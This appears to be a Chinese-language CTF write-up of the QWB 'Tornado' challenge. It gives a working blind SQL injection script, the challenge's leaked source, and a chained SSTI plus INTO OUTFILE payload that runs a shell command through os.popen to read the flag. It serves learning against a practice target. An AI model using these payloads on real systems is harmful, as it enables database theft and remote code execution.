QWB托纳多

QWB托纳多

注册页面存在注入,利用processlist表读取正在执行的sql语句,从而得到表名与列名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
import string
# string = string.ascii_letters + string.digits
# print(string)
payload = ""
for i in range(1,300):
for j in range(31,130):
# payload = url + "username=" + "' or if(ascii(substr(select FILE_NAME FROM performance_schema.file_instances limit 150,1))>"
url = "http://5af86460-e42f-4f41-9eb0-b2ce7064ae5d.node4.buuoj.cn/register.php?username=' or if((ascii(substr((select INFO FROM information_schema.processlist limit 0,1),"+str(i)+",1)) in ("+str(j)+")),1,0) or '0&password=12"
# print(url)
# s = requests.session()
# print(url)
r = requests.get(url)
time.sleep(0.5)
if 'this username' in r.text:
payload += chr(j)
print(payload)
# print(r.text)
break

跑出来是SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='' or if((ascii(substr((select INFO FROM information_schema.processlist limit 0,1),1后面就是payload,省略

可以看到表为qwbtttaaab111e,字段为qwbqwbqwbuser,qwbqwbqwbpass

则payload为username=' or if((ascii(substr((select qwbqwbqwbpass FROM qwbtttaaab111e limit 0,1),"+str(i)+",1)) in ("+str(j)+")),1,0) or '0&password=12"

得到密码,glzjin666888

在这里插入图片描述

但是buu上好像无法登录不知道为什么。直接找到源码审计吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
import tornado.ioloop, tornado.web, tornado.options, pymysql, os, re
settings = {'static_path': os.path.join(os.getcwd(), 'static'),
'cookie_secret': 'b93a9960-bfc0-11eb-b600-002b677144e0'}
db_username = 'root'
db_password = 'xxxx'

class MainHandler(tornado.web.RequestHandler):

def get(self):
user = self.get_secure_cookie('user')
if user and user == b'admin':
self.redirect('/admin.php', permanent=True)
return
self.render('index.html')


class LoginHandler(tornado.web.RequestHandler):

def get(self):
username = self.get_argument('username', '')
password = self.get_argument('password', '')
if not username or not password:
if not self.get_secure_cookie('user'):
self.finish('<script>alert(`please input your password and username`);history.go(-1);</script>')
return
if self.get_secure_cookie('user') == b'admin':
self.redirect('/admin.php', permanent=True)
else:
self.redirect('/', permanent=True)
else:
conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
cursor = conn.cursor()
cursor.execute('SELECT * from qwbtttaaab111e where qwbqwbqwbuser=%s and qwbqwbqwbpass=%s', [username, password])
results = cursor.fetchall()
if len(results) != 0:
if results[0][1] == 'admin':
self.set_secure_cookie('user', 'admin')
cursor.close()
conn.commit()
conn.close()
self.redirect('/admin.php', permanent=True)
return
else:
cursor.close()
conn.commit()
conn.close()
self.finish('<script>alert(`login success, but only admin can get flag`);history.go(-1);</script>')
return
else:
cursor.close()
conn.commit()
conn.close()
self.finish('<script>alert(`your username or password is error`);history.go(-1);</script>')
return


class RegisterHandler(tornado.web.RequestHandler):

def get(self):
username = self.get_argument('username', '')
password = self.get_argument('password', '')
word_bans = ['table', 'col', 'sys', 'union', 'inno', 'like', 'regexp']
bans = ['"', '#', '%', '&', ';', '<', '=', '>', '\\', '^', '`', '|', '*', '--', '+']
for ban in word_bans:
if re.search(ban, username, re.IGNORECASE):
self.finish('<script>alert(`error`);history.go(-1);</script>')
return

for ban in bans:
if ban in username:
self.finish('<script>alert(`error`);history.go(-1);</script>')
return

if not username or not password:
self.render('register.html')
return
if username == 'admin':
self.render('register.html')
return
conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
cursor = conn.cursor()
try:
cursor.execute("SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='%s'" % username)
results = cursor.fetchall()
if len(results) != 0:
self.finish('<script>alert(`this username had been used`);history.go(-1);</script>')
conn.commit()
conn.close()
return
except:
conn.commit()
conn.close()
self.finish('<script>alert(`error`);history.go(-1);</script>')
return

try:
cursor.execute('insert into qwbtttaaab111e (qwbqwbqwbuser, qwbqwbqwbpass) values(%s, %s)', [username, password])
conn.commit()
conn.close()
self.finish("<script>alert(`success`);location.href='/index.php';</script>")
return
except:
conn.rollback()
conn.close()
self.finish('<script>alert(`error`);history.go(-1);</script>')
return


class LogoutHandler(tornado.web.RequestHandler):

def get(self):
self.clear_all_cookies()
self.redirect('/', permanent=True)


class AdminHandler(tornado.web.RequestHandler):

def get(self):
user = self.get_secure_cookie('user')
if not user or user != b'admin':
self.redirect('/index.php', permanent=True)
return
self.render('admin.html')


class ImageHandler(tornado.web.RequestHandler):

def get(self):
user = self.get_secure_cookie('user')
image_name = self.get_argument('qwb_image_name', 'header.jpeg')
if not image_name:
self.redirect('/', permanent=True)
return
else:
if not user or user != b'admin':
self.redirect('/', permanent=True)
return
if image_name.endswith('.py') or 'flag' in image_name or '..' in image_name:
self.finish("nonono, you can't read it.")
return
image_name = os.path.join(os.getcwd() + '/image', image_name)
with open(image_name, 'rb') as (f):
img = f.read()
self.set_header('Content-Type', 'image/jpeg')
self.finish(img)
return


class SecretHandler(tornado.web.RequestHandler):

def get(self):
if len(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()

msg = self.get_argument('congratulations', 'oh! you find it')
bans = []
for ban in bans:
if ban in msg:
self.finish('bad hack,go out!')
return

with open('congratulations.html', 'w') as (f):
f.write('<html><head><title>congratulations</title></head><body><script type="text/javascript">alert("%s");location.href=\'/admin.php\';</script></body></html>\n' % msg)
f.flush()
self.render('congratulations.html')
if tornado.web.RequestHandler._template_loaders:
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()


def make_app():
return tornado.web.Application([
(
'/index.php', MainHandler),
(
'/login.php', LoginHandler),
(
'/logout.php', LogoutHandler),
(
'/register.php', RegisterHandler),
(
'/admin.php', AdminHandler),
(
'/qwbimage.php', ImageHandler),
(
'/good_job_my_ctfer.php', SecretHandler),
(
'/', MainHandler)], **settings)


if __name__ == '__main__':
app = make_app()
app.listen(8000)
tornado.ioloop.IOLoop.current().start()
print('start')

具体漏洞出现在

1
2
3
4
5
6
7
8
9
10
msg = self.get_argument('congratulations', 'oh! you find it')
bans = []
for ban in bans:
if ban in msg:
self.finish('bad hack,go out!')
return

with open('congratulations.html', 'w') as (f):
f.write('<html><head><title>congratulations</title></head><body><script type="text/javascript">alert("%s");location.href=\'/admin.php\';</script></body></html>\n' % msg)
f.flush()

接受了一个congratulations参数,明显的是SSTI模板注入

得到源码后,过滤了{{}}标签,那么我们可用的只有{%%}标签,而剩下的操作名中,有一个操作是比较危险的,那就是extends操作,它的参数为一个文件名,该文件将会被作为模板文件被包含,并被渲染。那么如果我们包含一个带有恶意SSTI的payload的字符串的文件,那么是可以执行该SSTI的payload的。因此我们现在需要往服务器上上传一个恶意文件。

如何往服务器上上传文件呢.根据前文信息,我们可以得知该python应用为mysql用户权限启动,那么我们可以直接考虑通过mysql的into outfile语句写文件。这里分为两步,首先是往数据库里写东西,这个可以直接通过注册功能实现,第二步是将数据库里的数据导出至文件,在mysql中默认导出目录为/var/lib/mysql-files/,其他目录是没有导出权限的,因此我们将文件导出至该文件夹。
payload如下:

1
2
3
4
/register.php?username=guoke&password={% set return __import__("os").popen("cat  /flag").read()%}
/register.php?username=guoke' into outfile '/var/lib/mysql-files/guoke&password=123
/good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/guoke%}

最后得到flag
在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!